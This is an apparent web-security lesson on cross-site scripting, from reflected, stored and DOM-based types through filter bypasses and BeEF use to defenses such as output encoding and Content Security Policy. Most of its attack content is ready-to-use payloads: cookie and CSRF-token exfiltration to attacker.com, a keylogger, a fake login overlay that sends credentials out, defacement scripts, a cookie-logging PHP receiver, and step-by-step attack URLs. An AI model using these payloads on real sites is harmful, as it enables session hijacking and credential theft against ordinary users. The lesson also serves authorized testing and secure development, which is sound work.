Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a client-side code injection attack where malicious scripts are injected into trusted websites. XSS allows attackers to execute JavaScript in victims' browsers, steal cookies, hijack sessions, deface websites, or redirect users to malicious sites. This lesson covers XSS types, exploitation techniques, and defense strategies.

What You'll Learn

What is Cross-Site Scripting
Types of XSS (Reflected, Stored, DOM-based)
XSS detection and exploitation
Payload crafting and encoding
Bypassing filters and WAFs
Advanced XSS techniques
XSS with BeEF framework
Cookie stealing and session hijacking
Prevention and mitigation

What is Cross-Site Scripting?

The Vulnerability

XSS occurs when:

Application includes untrusted data in a web page
Data is not properly validated or escaped
Attacker injects malicious JavaScript
Victim's browser executes the script

Simple Example:

// VULNERABLE CODE (PHP)
<?php
echo "Welcome, " . $_GET['name'];
?>

URL: http://site.com/page.php?name=<script>alert('XSS')</script>
Output: Welcome, <script>alert('XSS')</script>
Result: JavaScript executes in victim's browser!

Types of XSS

1. Reflected XSS (Non-Persistent)

How it works:

Malicious script in URL or form input
Server reflects input back to user
Script executes immediately
Not stored in database

Example:

Normal URL:
http://site.com/search?q=shoes

Attack URL:
http://site.com/search?q=<script>alert(document.cookie)</script>

Flow:
1. Attacker sends victim malicious link
2. Victim clicks link
3. Server reflects script in search results
4. Script executes in victim's browser

Real Attack:

<!-- Search results page -->
<h1>Results for: <script>alert(document.cookie)</script></h1>

2. Stored XSS (Persistent)

How it works:

Malicious script stored in database
Retrieved and displayed to users
Executes for every user who views it
More dangerous than reflected XSS

Example: Comment section

1. Attacker posts comment:
   <script>
   fetch('http://attacker.com/steal?cookie=' + document.cookie);
   </script>

2. Comment stored in database

3. Every user viewing comments executes script

4. Cookies sent to attacker

Common Targets:

Comments
User profiles
Forum posts
Reviews
Messages

3. DOM-Based XSS

How it works:

Vulnerability in client-side JavaScript
DOM manipulated with untrusted data
Never sent to server
Harder to detect

Example:

// VULNERABLE CODE
var name = location.hash.substring(1);
document.getElementById('welcome').innerHTML = "Welcome, " + name;

URL: http://site.com/#<img src=x onerror=alert('XSS')>
Result: JavaScript executes via innerHTML

Common DOM Sinks:

innerHTML
outerHTML
document.write()
eval()
setTimeout()
setInterval()

Basic XSS Payloads

Alert Box (Proof of Concept)

<script>alert('XSS')</script>
<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>prompt('XSS')</script>
<script>confirm('XSS')</script>

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

<script>
new Image().src='http://attacker.com/steal?cookie=' + document.cookie;
</script>

<script>
document.location='http://attacker.com/steal?cookie=' + document.cookie;
</script>

Keylogger

<script>
document.addEventListener('keypress', function(e) {
    fetch('http://attacker.com/log?key=' + e.key);
});
</script>

Phishing

<script>
document.body.innerHTML = '<h1>Session Expired</h1>' +
'<form action="http://attacker.com/phish" method="POST">' +
'Username: <input name="user"><br>' +
'Password: <input type="password" name="pass"><br>' +
'<input type="submit" value="Login">' +
'</form>';
</script>

Page Defacement

<script>
document.body.innerHTML = '<h1>Hacked by Attacker</h1>';
</script>

<script>
document.body.style.background = 'red';
document.body.innerHTML = '<h1 style="color:white">HACKED</h1>';
</script>

XSS Injection Points

HTML Context

<!-- Input reflected in HTML -->
<div>User input: INJECTION_HERE</div>

Payload:
<script>alert(1)</script>

Attribute Context

<!-- Input in attribute -->
<input value="INJECTION_HERE">

Payload:
" onmouseover="alert(1)
"><script>alert(1)</script>

Result:
<input value="" onmouseover="alert(1)">
<input value=""><script>alert(1)</script>">

JavaScript Context

<script>
var name = 'INJECTION_HERE';
</script>

Payload:
'; alert(1); //
'-alert(1)-'

Result:
<script>
var name = ''; alert(1); //';
</script>

Event Handler Context

<img src=x onerror="INJECTION_HERE">

Payload:
alert(1)

Result:
<img src=x onerror="alert(1)">

XSS Detection

Manual Testing

1. Test basic payload:
   <script>alert(1)</script>

2. Test in different contexts:
   " onclick="alert(1)
   ' onmouseover='alert(1)
   "><script>alert(1)</script>

3. Test URL encoding:
   %3Cscript%3Ealert(1)%3C/script%3E

4. Test HTML entities:
   &lt;script&gt;alert(1)&lt;/script&gt;

Automated Scanning

# XSStrike
python xsstrike.py -u "http://site.com/page?param=test"

# Dalfox
dalfox url "http://site.com/page?param=test"

# Burp Suite Scanner
# Send request to Scanner
# Active scan for XSS

# OWASP ZAP
# Automated scan with XSS plugin

Bypassing Filters

1. Case Variation

<ScRiPt>alert(1)</sCrIpT>
<SCRIPT>alert(1)</SCRIPT>

2. Alternative Tags

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<iframe src="javascript:alert(1)">
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>

3. Event Handlers

<img src=x onerror=alert(1)>
<img src=x onload=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>
<input onfocus=alert(1)>
<div onmouseover=alert(1)>
<div onclick=alert(1)>

4. No Quotes

<script>alert(1)</script>
<script>alert`1`</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

5. No Parentheses

<script>alert`1`</script>
<script>onerror=alert;throw 1</script>
<svg onload=alert`1`>

6. No Script Tag

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">

7. Encoding

<!-- HTML encoding -->
&#60;script&#62;alert(1)&#60;/script&#62;

<!-- URL encoding -->
%3Cscript%3Ealert(1)%3C/script%3E

<!-- Unicode -->
\u003cscript\u003ealert(1)\u003c/script\u003e

<!-- Hex encoding -->
\x3cscript\x3ealert(1)\x3c/script\x3e

8. Filter Bypass Examples

<!-- "script" blocked -->
<scr<script>ipt>alert(1)</scr</script>ipt>
<SCRİPT>alert(1)</SCRİPT>  (Unicode İ)

<!-- "on" blocked -->
<img src=x onerror=alert(1)>  →  <svg/onload=alert(1)>

<!-- Spaces blocked -->
<img/src=x/onerror=alert(1)>
<img%09src=x%09onerror=alert(1)>

<!-- Parentheses blocked -->
<script>onerror=alert;throw 1</script>
<script>alert`1`</script>

Advanced XSS Techniques

Polyglot Payloads

Works in multiple contexts:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Mutation XSS (mXSS)

Browser parsing differences:

<noscript><p title="</noscript><img src=x onerror=alert(1)>">

Self-XSS to Stored XSS

Exploit CSRF to trigger self-XSS:

<form action="http://target.com/profile" method="POST">
  <input name="bio" value='<script>alert(1)</script>'>
</form>
<script>document.forms[0].submit()</script>

BeEF Framework (Browser Exploitation Framework)

What is BeEF?

BeEF is a penetration testing tool focusing on web browser exploitation.

Installation

# Kali Linux (pre-installed)
beef-xss

# Manual installation
sudo apt install beef-xss

# Start BeEF
beef-xss

Using BeEF

# 1. Start BeEF
beef-xss

# 2. Access UI
http://127.0.0.1:3000/ui/panel
Username: beef
Password: beef

# 3. Inject hook script in XSS payload
<script src="http://YOUR_IP:3000/hook.js"></script>

# 4. When victim loads page, browser gets "hooked"

# 5. In BeEF panel:
   - View hooked browsers
   - Execute commands
   - Steal cookies
   - Keylog
   - Phish credentials
   - Port scan
   - Much more

BeEF Modules

Information Gathering:
- Get cookie
- Get local storage
- Detect software
- Fingerprint browser

Social Engineering:
- Pretty theft (fake notification)
- Simple hijacker (phishing)
- Clippy (Microsoft assistant phish)

Network:
- Port scanner
- DNS tunnel
- CORS scanner

Exploits:
- iFrame attack
- Redirect browser
- Replace videos

Practical Examples

<!-- Inject this payload -->
<script>
fetch('http://attacker.com/steal.php?cookie=' + document.cookie);
</script>

<!-- Attacker server (steal.php) -->
<?php
$cookie = $_GET['cookie'];
$file = fopen('cookies.txt', 'a');
fwrite($file, $cookie . "\n");
fclose($file);
?>

Example 2: Session Hijacking

<!-- Steal session token -->
<script>
var token = document.querySelector('meta[name="csrf-token"]').content;
fetch('http://attacker.com/steal?token=' + token + '&cookie=' + document.cookie);
</script>

Example 3: Credential Harvesting

<script>
// Overlay fake login form
var html = `
<div style="position:fixed; top:0; left:0; width:100%; height:100%; 
            background:rgba(0,0,0,0.8); z-index:9999;">
  <div style="position:absolute; top:50%; left:50%; transform:translate(-50%,-50%);
              background:white; padding:30px; border-radius:10px;">
    <h2>Session Expired</h2>
    <form id="phish">
      Username: <input name="user" type="text"><br><br>
      Password: <input name="pass" type="password"><br><br>
      <button type="submit">Login</button>
    </form>
  </div>
</div>
`;

document.body.insertAdjacentHTML('beforeend', html);

document.getElementById('phish').addEventListener('submit', function(e) {
    e.preventDefault();
    var user = this.user.value;
    var pass = this.pass.value;
    fetch('http://attacker.com/phish?u=' + user + '&p=' + pass);
    alert('Login successful!');
    document.querySelector('div[style*="position:fixed"]').remove();
});
</script>

Practical Pentesting Scenarios

Scenario 1: Reflected XSS in Search

# Target: http://shop.com/search?q=test

# Step 1: Test basic payload
http://shop.com/search?q=<script>alert(1)</script>

# Step 2: If filtered, try alternatives
http://shop.com/search?q=<img src=x onerror=alert(1)>
http://shop.com/search?q=<svg onload=alert(1)>

# Step 3: Cookie stealing payload
http://shop.com/search?q=<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>

# Step 4: URL encode and send to victim
http://shop.com/search?q=%3Cscript%3Efetch('http://attacker.com/steal?c='%2Bdocument.cookie)%3C/script%3E

Scenario 2: Stored XSS in Comments

# Target: Blog with comment section

# Step 1: Post comment with payload
<script>alert(document.domain)</script>

# Step 2: If blocked, try:
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>

# Step 3: Deploy keylogger
<script>
document.onkeypress = function(e) {
    fetch('http://attacker.com/keys?k=' + e.key);
}
</script>

# Step 4: Every visitor triggers script

Scenario 3: DOM-Based XSS

# Target: Page with JavaScript that processes URL fragment

# View page source, find vulnerable code:
var search = location.hash.substring(1);
document.getElementById('result').innerHTML = search;

# Exploit:
http://site.com/page#<img src=x onerror=alert(1)>

# Advanced:
http://site.com/page#<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>

Scenario 4: XSS with BeEF

# Step 1: Start BeEF
beef-xss

# Step 2: Get your IP
ip addr show

# Step 3: Inject hook payload
<script src="http://YOUR_IP:3000/hook.js"></script>

# Step 4: Victim loads page

# Step 5: In BeEF panel (http://127.0.0.1:3000/ui/panel)
   - Select hooked browser
   - Commands → Browser → Get Cookie
   - Commands → Social Engineering → Pretty Theft
   - Commands → Network → Port Scanner

Prevention and Mitigation

1. Input Validation

// Whitelist approach
if (!preg_match('/^[a-zA-Z0-9 ]+$/', $input)) {
    die("Invalid input");
}

2. Output Encoding

// PHP
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

// JavaScript
function escapeHtml(text) {
    return text.replace(/[&<>"']/g, function(m) {
        return {
            '&': '&amp;',
            '<': '&lt;',
            '>': '&gt;',
            '"': '&quot;',
            "'": '&#039;'
        }[m];
    });
}

3. Content Security Policy (CSP)

<!-- HTTP Header -->
Content-Security-Policy: default-src 'self'; script-src 'self'

<!-- Meta tag -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

Strict CSP:

Content-Security-Policy: 
  default-src 'none'; 
  script-src 'self'; 
  style-src 'self'; 
  img-src 'self'; 
  font-src 'self'; 
  connect-src 'self';

4. HttpOnly Cookies

// PHP
setcookie("session", $value, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);

5. Modern Browser Controls

Do not rely on the old X-XSS-Protection header. Modern browsers have removed or deprecated that filter. Focus on output encoding, sanitisation, HttpOnly cookies, and a strict Content Security Policy. For high-risk JavaScript-heavy applications, consider Trusted Types as an additional browser-side guardrail.

Quick Reference

Basic Payloads:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

Cookie Stealing:
<script>fetch('http://attacker.com/?c='+document.cookie)</script>
<script>new Image().src='http://attacker.com/?c='+document.cookie</script>

Bypass Techniques:
<ScRiPt>alert(1)</sCrIpT>           (case variation)
<img/src=x/onerror=alert(1)>        (no spaces)
<script>alert`1`</script>            (no parentheses)
<svg/onload=alert(1)>               (alternative tag)

BeEF Hook:
<script src="http://ATTACKER_IP:3000/hook.js"></script>

Tools:
XSStrike, Dalfox, Burp Suite, OWASP ZAP, BeEF

Resources

Practice Labs

DVWA (Damn Vulnerable Web Application)
bWAPP
Google XSS Game
PortSwigger XSS Labs
HackTheBox web challenges

Tools

XSStrike: Advanced XSS detection
Dalfox: Fast XSS scanner
BeEF: Browser Exploitation Framework
Burp Suite: Web proxy
OWASP ZAP: Web scanner

Next Steps

Practice XSS on legal targets (DVWA, bWAPP)
Master payload crafting and filter bypasses
Learn BeEF framework for browser exploitation
Study CSP and modern defenses
Understand DOM XSS and JavaScript security

XSS is one of the most common web vulnerabilities. Master it for both offensive testing and secure development!

Cross-Site Scripting (XSS)

What You'll Learn

What is Cross-Site Scripting?

The Vulnerability

Types of XSS

1. Reflected XSS (Non-Persistent)

2. Stored XSS (Persistent)

3. DOM-Based XSS

Basic XSS Payloads

Alert Box (Proof of Concept)

Cookie Stealing

Keylogger

Phishing

Page Defacement

XSS Injection Points

HTML Context

Attribute Context

JavaScript Context

Event Handler Context

XSS Detection

Manual Testing

Automated Scanning

Bypassing Filters

1. Case Variation

2. Alternative Tags

3. Event Handlers

4. No Quotes

5. No Parentheses

6. No Script Tag

7. Encoding

8. Filter Bypass Examples

Advanced XSS Techniques

Polyglot Payloads

Mutation XSS (mXSS)

Self-XSS to Stored XSS

BeEF Framework (Browser Exploitation Framework)

What is BeEF?

Installation

Using BeEF

BeEF Modules

Practical Examples

Example 1: Cookie Stealing

Example 2: Session Hijacking

Example 3: Credential Harvesting

Practical Pentesting Scenarios

Scenario 1: Reflected XSS in Search

Scenario 2: Stored XSS in Comments

Scenario 3: DOM-Based XSS

Scenario 4: XSS with BeEF

Prevention and Mitigation

1. Input Validation

2. Output Encoding

3. Content Security Policy (CSP)

4. HttpOnly Cookies

5. Modern Browser Controls

Quick Reference

Resources

Practice Labs

Tools

Further Reading

Next Steps